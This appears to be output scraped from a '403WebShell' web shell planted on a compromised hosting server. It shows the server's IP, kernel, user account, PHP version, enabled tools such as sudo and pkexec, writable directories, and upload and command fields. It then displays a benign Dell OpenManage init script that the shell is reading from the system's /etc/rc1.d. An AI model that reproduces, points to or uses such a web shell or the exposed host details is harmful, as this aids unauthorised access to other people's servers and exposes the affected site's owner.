%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.144.12.19
Web Server : Apache
System : Linux web232.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/etc/rc1.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/etc/rc1.d/K03dsm_om_shrsvc
#!/bin/sh
###############################################################################
#
#          DELL INC. PROPRIETARY INFORMATION
#  This software is supplied under the terms of a license agreement or
#  nondisclosure agreement with Dell Computer Corporation and may not
#  be copied or disclosed except in accordance with the terms of that
#  agreement.
#
#  Copyright (c) 2000-2005 Dell Inc. All Rights Reserved.
#
#  Module Name:
#    Server Administrator Control Script
#
#  Abstract/Purpose:
#    Shell script to control Server Administrator
#
#  Environment:
#    Linux
#
#  Last Modified By/On/Revision:
#    $Author: $ / $Date: $ /  $Revision: $
#
#  chkconfig: 35 97 03
#  description: Provides infrastructure support for system management functions.
#
### BEGIN INIT INFO
# Provides: dsm_om_shrsvc
# Required-Start: $localfs $remotefs $syslog dataeng
# Required-Stop: $localfs $remotefs $syslog dataeng
# Default-Start: 3 5
# Default-Stop: 1 2
# Should-Start: dataeng
# Short-Description: DSM OM Shared Services
# Description: Systems Management infrastructure support for system management functions.
### END INIT INFO
#
#
###############################################################################

##
# Status function
##
DaemonStatus()
{
	DAEMON=${1##*/}

	# Check for daemon name
	if [ -z ${DAEMON} ];
	then
		return 1
	fi

	# Get list of pids using pidof
	PIDLIST=`pidof -o $$ -o ${PPID} -o %PPID -x ${DAEMON}`
	if [ -n "${PIDLIST}" ];
	then
		echo "${DAEMON} (pid ${PIDLIST}) is running"
		return 0
	fi

	# Check for pid file in standard location
	PIDFILE="/var/run/${DAEMON}.pid"
	if [ -f ${PIDFILE} ];
	then
		echo "${DAEMON} is dead and ${PIDFILE} pid file exists"
		return 1
	fi

	# Check for lock file in standard location
	LOCKFILE="/var/lock/subsys/${DAEMON}"
	if [ -f ${LOCKFILE} ];
	then
		echo "${DAEMON} is dead and  ${LOCKFILE} lock file exists"
		return 2
	fi

	echo "${DAEMON} is stopped"
	return 3
}

##
## Get the proper function library.
## Set aliases for functions and some return codes
##
if [ -f /lib/lsb/init-functions ]; then
  . /lib/lsb/init-functions
  alias START_DAEMON=start_daemon
  alias STATUS=DaemonStatus
  alias LOG_SUCCESS=log_success_msg
  alias LOG_FAILURE=log_failure_msg
  alias LOG_WARNING=log_warning_msg
elif [ -f /etc/init.d/functions ] ; then
  . /etc/init.d/functions
  alias START_DAEMON=daemon
  alias STATUS=status
  alias LOG_SUCCESS=success
  alias LOG_FAILURE=failure
  alias LOG_WARNING=passed
elif [ -f /etc/rc.d/init.d/functions ] ; then
  . /etc/rc.d/init.d/functions
  alias START_DAEMON=daemon
  alias STATUS=status
  alias LOG_SUCCESS=success
  alias LOG_FAILURE=failure
  alias LOG_WARNING=passed
else
  exit 0
fi


## Definitions
##
PROGRAM_NAME="DSM SA Shared Services"
PROGRAM_BIN=dsm_om_shrsvcd
PROGRAM_DAEMON="/opt/dell/srvadmin/sbin/${PROGRAM_BIN}"
PROGRAM_LOCK_FILE="/var/lock/subsys/dsm_om_shrsvc"
PROGRAM_INVCOL_PATH=/opt/dell/srvadmin/sbin/invcol

## this script checks if you are executing on a supported system
##
SYSCHECK_SCRIPT=/opt/dell/srvadmin/sbin/CheckSystemType

## check for the presence of script. This is must to continue
##
if [ -f ${SYSCHECK_SCRIPT} ]; then
	. ${SYSCHECK_SCRIPT}
else
	echo "${SYSCHECK_SCRIPT} not found. Cannot proceed. Exiting.."
	exit
fi

## prepare LD_LIBRARY_PATH
##
sLibPath=/opt/dell/srvadmin/lib64

## Initialize return value
##
RETVAL=0


###############################################################################
##
###############################################################################
start() 
{
	STATUS ${PROGRAM_DAEMON} >/dev/null
	if [ $? == 0 ];
	then
		echo -n "${PROGRAM_NAME} is already started"
		echo
		return 2
	fi

	if [ ! -r ${PROGRAM_DAEMON} ]
	then
		return 0
	fi

	# check if you are executing on a supported system
	IsThisSupportedGeneration
	RETVAL=$?
	if [ $RETVAL != 0 ];
	then
		# make an entry into syslog and console
		logger -t dsm_om_shrsvc -s "${PROGRAM_NAME} cannot start on an unsupported system. See the Dell EMC Systems Software Support Matrix for a list of supported systems."
		return $RETVAL
	fi

	echo -n $"Starting ${PROGRAM_NAME}: "
	LD_LIBRARY_PATH=$sLibPath START_DAEMON ${PROGRAM_DAEMON}
	RETVAL=$?

	# check for successful daemon start
	if [ $RETVAL -eq 0  ];
	then
		if [ `touch ${PROGRAM_LOCK_FILE}` ];
		then
			# failed to set lock file
			RETVAL=1
		fi
	fi

	# check for complete success
	if [ $RETVAL -eq 0  ];
	then
		# log the success
		if [ -f /lib/lsb/init-functions ];
		then
			LOG_SUCCESS ""
			echo
		else
			echo -en \\033[45G
			echo   #DF225639 ESX OS : while starting services an extra "OK" string is displayed
		fi
	else
		# log the error
		if [ -f /lib/lsb/init-functions ];
		then
			LOG_FAILURE
		    	echo
		else
			echo -en \\033[45G
			echo 
		fi
	fi

	return $RETVAL
}

###############################################################################
##
###############################################################################
stop() {
	# Check if the daemon is running
	STATUS ${PROGRAM_DAEMON} >/dev/null
        if [ $? == 3 ];
        then
		echo -n "${PROGRAM_NAME} is already stopped"
		echo
		return 2
        fi
	#[DF270565]
	#Waiting for inventory collector to shutdown or complete
	INVCOLPID=`pidof -x $PROGRAM_INVCOL_PATH`
	if [ -n "${INVCOLPID}" ];
	then        
		echo -n "Waiting for inventory collector to finish"
		while ps -p $INVCOLPID >/dev/null; 
		do 
			sleep 1; 
			echo -n .
		done
	fi
	echo
	echo -n $"Shutting down ${PROGRAM_NAME}: "
	killproc ${PROGRAM_DAEMON}
	
	COUNTER=0
	STATUS ${PROGRAM_DAEMON} >/dev/null
	STATUSVAL=$?

	#wait for the process to close down if porcess is running or the pid file is there
	while ([ ${STATUSVAL} == 1 ] || [ ${STATUSVAL} == 0 ]) && [ ${COUNTER} -le 5 ]
	do
		let COUNTER=${COUNTER}+1
		#The service is NOT completely stopped yet.
		#Wait 5 seconds and then check the status again
		sleep 5
		STATUS ${PROGRAM_DAEMON} >/dev/null
		STATUSVAL=$?
	done
	#if after 5 retries it is still not stopped
	#kill the process again
	if ([ ${STATUSVAL} == 1 ] || [ ${STATUSVAL} == 0 ])
	then
		killproc ${PROGRAM_DAEMON} >/dev/null
	fi
	
	STATUS ${PROGRAM_DAEMON} >/dev/null
	STATUSVAL=$?
	
	RETVAL=0
	
	if ([ ${STATUSVAL} == 1 ] || [ ${STATUSVAL} == 0 ])
	then
		RETVAL=1
	fi

	# remove the lockfile 
	if [ ${STATUSVAL} == 2  ];
	then
		if [ `rm -f ${PROGRAM_LOCK_FILE}` ];
		then
			# failed to clear lock file
			RETVAL=1
		fi
	fi

	# check for complete success
	if [ $RETVAL -eq 0  ];
	then
		# log the success
		if [ -f /lib/lsb/init-functions ];
		then
			LOG_SUCCESS ""
			echo
		else
			echo -en \\033[45G
			echo	#DF225639 ESX OS : while stoping services an extra "OK" string is displayed
	fi
	else
		# log the error
		if [ -f /lib/lsb/init-functions ];
		then
			LOG_FAILURE
		    	echo
		else
			echo -en \\033[45G
			echo 
		fi
	fi

	echo
	[ $RETVAL -eq 0 ] && rm -f ${PROGRAM_LOCK_FILE}
	return $RETVAL
}

###############################################################################
##
###############################################################################
restart() {
	stop
	start
}

###############################################################################
##
###############################################################################
reload() {
	stop
	start
}

###############################################################################
##
###############################################################################
rhstatus() {
	STATUS ${PROGRAM_DAEMON}
}

###############################################################################
## MAIN
###############################################################################
case "$1" in
  start)
  	start
	;;
  stop)
  	stop
	;;
  restart)
  	restart
	;;
  reload)
  	reload
	;;
  status)
  	rhstatus
	;;
  *)
	echo $"Usage: $0 {start|stop|restart|status}"
	exit 1
esac

###############################################################################
## DONE
###############################################################################
exit $?


Youez - 2016 - github.com/yon3zu
LinuXploit